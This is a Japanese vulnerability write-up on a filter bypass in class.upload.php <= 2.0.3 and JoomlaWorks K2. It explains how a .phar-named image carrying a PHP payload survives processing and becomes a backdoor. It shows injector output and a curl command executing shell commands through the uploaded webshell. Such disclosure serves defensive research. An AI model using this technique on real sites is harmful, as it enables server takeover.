
これはフィルタバイパスエクスプロイトであり、class.upload.php <= 2.0.3 において任意のファイルアップロードとリモートコード実行を引き起こします。
これはフィルタバイパスエクスプロイトであり、任意のファイルアップロードとリモートコード実行を引き起こします。 class.upload.phpスクリプトは「危険なファイルとコンテンツ」をフィルタリングし、それらをtxtファイル拡張子にリネームします。 また、アップロードされた画像に対してさまざまな種類の変換処理を行います。そのため、仮にファイル拡張子フィルタをバイパスできたとしても、通常は注入されたペイロードが破壊されてしまいます。
ファイル拡張子フィルタはブラックリスト方式のため、新しい拡張子が導入された場合(この場合はphar)、または見落とされた拡張子がある場合には、PHPファイルをアップロードすることができます。 ただし、コンテンツは依然として有効な画像である必要があり、imagecreatefromjpegおよび類似の関数を通過します。 この目的のために、私はinject.phpスクリプトを作成しました。このスクリプトは基本的に、class.upload.phpで行われる処理によってペイロードが破壊されない画像を見つけるまで、さまざまな画像を総当たりで試行します。これにより、実質的に任意のファイルアップロードと、非常にステルス性の高いコード実行が可能になります。なぜなら、それは依然として有効な画像であり、アップロードされたページでは画像として表示されるからです。
upload.phpスクリプトはverot.netのGitHubにあるサンプルコードです。 この脆弱性の実証には、彼ら自身のサンプルコードを使うのが最善だと考えました。
user@ayu:/var/www/html# php inject.php
-=Imagejpeg injector 1.7=-
[+] Fetching image (100 X 100) from http://lorempixel.com/100/100/
[+] Jumping to end byte
[+] Searching for valid injection point
[!] Temp solution, if you get a 'recoverable parse error' here, it means it probably failed
[+] It seems like it worked!
[+] Result file: image.jpg.phar
user@ayu:/var/www/html# curl -v -o - http://localhost/images/image_resized.phar?c=uname%20-a | grep -aPo "(Linux.*GNU)"
Linux ayu 5.0.0-36-generic #39-Ubuntu SMP Tue Nov 12 09:46:06 UTC 2019 x86_64 x86_64 x86_64 GNU
パッチ未適用のclass.upload.phpが原因で、JoomlaWorks K2 <= 2.10.1において任意のファイルアップロードが可能となり、リモートコード実行につながります。
通常のユーザーが、inject.phpによって生成された、単純なペイロードを含む画像をアップロードします。この画像はclass.upload.phpの拡張子フィルタをバイパスし、ライブラリ内で行われる画像処理によっても破壊されません。通常の画像のように表示されるため、より巧妙です。
ファイルはアップロードされ、バックドアとしてアクセスしてコマンドを実行することができます。